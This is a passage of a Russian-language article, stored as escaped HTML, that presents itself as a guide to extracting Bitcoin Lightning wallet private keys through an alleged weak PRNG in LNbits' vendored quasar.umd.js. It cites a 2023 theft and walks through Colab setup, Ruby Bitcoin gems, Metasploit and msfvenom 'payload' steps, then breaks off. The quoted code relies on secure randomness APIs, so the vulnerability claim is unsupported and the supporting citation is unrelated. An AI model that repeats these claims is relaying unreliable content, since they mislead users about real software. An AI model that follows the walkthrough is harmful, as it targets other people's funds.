\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432\u0441\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438 \u043e\u0442\u00a0<code>LNbits<\/code>\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0435\u00a0<a href=\"https:\/\/github.com\/ElementsProject\/lightning.git\" rel=\"noopener noreferrer nofollow\"><strong><u>Core Lightning<\/u><\/strong><\/a>.<\/p>\n<\/blockquote>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\">\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u00a0<\/em><a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><em><u>David Shares<\/u><\/em><\/a><em>\u00a0\u0438\u0437 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\u00a0<\/em><a href=\"https:\/\/github.com\/bitcoin-portal\" rel=\"noopener noreferrer nofollow\"><strong><em><u>Bitcoin Portal<\/u><\/em><\/strong><\/a><em>\u00a0\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u00a0\u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e\u00a0<\/em><code>Lightning Network<\/code>\u00a0\u0442\u043e\u043d\u0435\u0442 \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445, \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f\u0445 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445.\u00a0\u042d\u0442\u043e \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043e\u0431\u0435\u0449\u0430\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0434\u0435\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0435\u0449\u0435 \u0434\u0430\u043b\u0435\u043a\u0430 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0442\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.<\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption><a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438\u0437 \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u043c\u044b \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0<a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability\" rel=\"noopener noreferrer nofollow\"><u>\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435<\/u><\/a>\u00a0\u0438 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><u>quasar.umd.js<\/u><\/a><\/p>\n<figure class=\"full-width\">\n<div><figcaption><a href=\"https:\/\/github.com\/quasarframework\/quasar.git\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/github.com\/quasarframework\/quasar.git<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<p><a href=\"https:\/\/github.com\/quasarframework\/quasar.git\" rel=\"noopener noreferrer nofollow\"><strong><u>Quasar<\/u><\/strong><\/a>\u00a0\u2013 \u044d\u0442\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435\u00a0<strong>Vue.js<\/strong>\u00a0\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432.<\/p>\n<p>\u041a\u0430\u043a \u043d\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u00a0<a href=\"https:\/\/security.snyk.io\/package\/npm\/@diorray%2Fvue-auth\" rel=\"noopener noreferrer nofollow\"><u>Snyk Vulnerability Database<\/u><\/a>\u00a0\u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445\u00a0<strong>Vue.js<\/strong>\u00a0\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432\u0435\u0440\u0441\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/releases\/tag\/0.11.0\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits v0.11.0<\/u><\/strong><\/a>\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0438\u044e \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><u>quasar.umd.js<\/u><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption><a href=\"https:\/\/security.snyk.io\/package\/npm\/@diorray%2Fvue-auth\" rel=\"noopener noreferrer nofollow\"><u>Snyk Vulnerability Database<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043a\u043e\u0434\u0435\u00a0quasar.umd.js<\/h3>\n<pre><code>  \/\/ Use best available PRNG   var randomBytes = (function () {     \/\/ Node &amp; Browser support     var lib = typeof crypto !== 'undefined'       ? crypto       : (         typeof window !== 'undefined'           ? window.msCrypto \/\/ IE11           : void 0       );      if (lib !== void 0) {       if (lib.randomBytes !== void 0) {         return lib.randomBytes       }       if (lib.getRandomValues !== void 0) {         return function (n) {           var bytes = new Uint8Array(n);           lib.getRandomValues(bytes);           return bytes         }       }     }<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption><a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><strong><u>GitHub Repo<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0441\u0435\u0432\u0434\u043e\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b\u00a0<code>(PRNG)<\/code>\u00a0\u043d\u0430\u043c \u0434\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c\u00a0<code>SEED<\/code>\u00a0\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u00a0<em>\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447<\/em>\u00a0\u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434\u00a0<code>lib.getRandomValues<\/code>\u00a0\u0442\u0435\u0440\u044f\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c \u043d\u0430\u0434 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c.<\/p>\n<h3>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0447\u0430\u0441\u0442\u0438:<\/h3>\n<p>(\u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043e\u0442\u00a0<a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>Jupyter Notebook\u00a0<\/u><\/strong><\/a>\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u0431\u043b\u043e\u043a\u043d\u043e\u0442<a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>\u00a0Google Colab\u00a0<\/u><\/strong><\/a>)<\/p>\n<hr\/>\n<p><a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV<\/u><\/strong><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption><a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0430 \u0438\u0437 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0441\u0435\u0432\u0434\u043e\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b\u00a0<code>(PRNG)<\/code>\u00a0\u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><strong><u>quasar.umd.js<\/u><\/strong><\/a><\/p>\n<h3><\/h3>\n<hr\/>\n<blockquote>\n<p><strong><em>\u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a<\/em><\/strong><em>: \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435\u00a0<\/em><code>2023<\/code>\u00a0\u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u043a\u0440\u0430\u0436\u0430 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443:\u00a0<code>11032.77<\/code>\u00a0\u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410 \/\/ \u0411\u0418\u0422\u041a\u041e\u0418\u041d:\u00a0<code>0.30412330 BTC<\/code><\/p>\n<\/blockquote>\n<figure class=\"\">\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<p><code>Bitcoin_Lightning_Wallet_Vulnerability.ipynb<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u00a0<\/em><a href=\"https:\/\/colab.research.google.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>Google Colab<\/u><\/em><\/a><em>\u00a0\u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435:\u00a0<\/em><a href=\"https:\/\/colab.research.google.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>https:\/\/colab.research.google.com<\/u><\/em><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u041d\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043d\u0430\u00a0<\/em><code>\"+\"<\/code>\u00a0\u0438\u00a0<strong><em>\u201c\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u201d<\/em><\/strong><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c Ruby \u0432 Google Colab<\/h3>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u043d\u0430\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u043e-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u00a0<\/em><a href=\"https:\/\/www.ruby-lang.org\/\" rel=\"noopener noreferrer nofollow\"><strong><em><u>Ruby<\/u><\/em><\/strong><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!sudo apt install ruby-full<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p><em>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0432\u0435\u0440\u0441\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!ruby --version<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption>\u0412\u0435\u0440\u0441\u0438\u044f ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'bitcoin-ruby'<\/code>\u00a0\u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c\/\u0441\u0435\u0442\u044c\u044e \u0411\u0438\u0442\u043a\u043e\u0438\u043d<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install bitcoin-ruby<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'ecdsa'<\/code>\u00a0\u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 (ECDSA)<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install ecdsa<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'base58'<\/code>\u00a0\u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0446\u0435\u043b\u044b\u0445 \u0438\u043b\u0438 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0432\u00a0<code>base58<\/code>\u00a0\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e.<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install base58<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'crypto'<\/code>\u00a0\u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u0431\u0430\u0439\u0442\u0430\u043c\u0438 \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install crypto<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'config-hash'<\/code>\u00a0\u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438.<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install config-hash -v 0.9.0<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c Metasploit Framework \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f MSFVenom<\/h3>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u00a0<\/em><a href=\"https:\/\/www.metasploit.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>Metasploit Framework<\/u><\/em><\/a><em>\u00a0\u0438\u0437\u00a0<\/em><a href=\"https:\/\/github.com\/rapid7\/metasploit-framework.git\" rel=\"noopener noreferrer nofollow\"><em><u>GitHub<\/u><\/em><\/a><em>\u00a0\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c\u00a0<\/em><a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/msfvenom\" rel=\"noopener noreferrer nofollow\"><em><u>MSFVenom<\/u><\/em><\/a><em>\u00a0\u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<pre><code>!git clone https:\/\/github.com\/rapid7\/metasploit-framework.git <\/code><\/pre>\n<hr\/>\n<pre><code>ls<\/code><\/pre>\n<hr\/>\n<pre><code>cd metasploit-framework\/<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u043f\u043a\u0438\u00a0<\/em><code>\"metasploit-framework\"<\/code><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>ls<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u043f\u0446\u0438\u0438:<\/h3>\n<pre><code>!.\/msfvenom -help <\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3> \u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434\u00a0GitHub\u00a0\u0432 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c:\u00a0quasar.umd.js<\/h3>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0412 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0444\u0430\u0439\u043b:\u00a0<\/em><a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><em><u>quasar.umd.js<\/u><\/em><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434:<\/h3>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>LNbits, free and open-source Lightning wallet and accounts system<\/h3>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u00a0lnbits\u00a0\u0432 Google Colab:<\/h3>\n<pre><code>!git clone https:\/\/github.com\/lnbits\/lnbits.git <\/code><\/pre>\n<hr\/>\n<p>ls<\/p>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0444\u0430\u0439\u043b:\u00a0quasar.umd.js\u00a0\u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 cat<\/h3>\n<pre><code>cat lnbits\/lnbits\/static\/vendor\/quasar.umd.js<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet 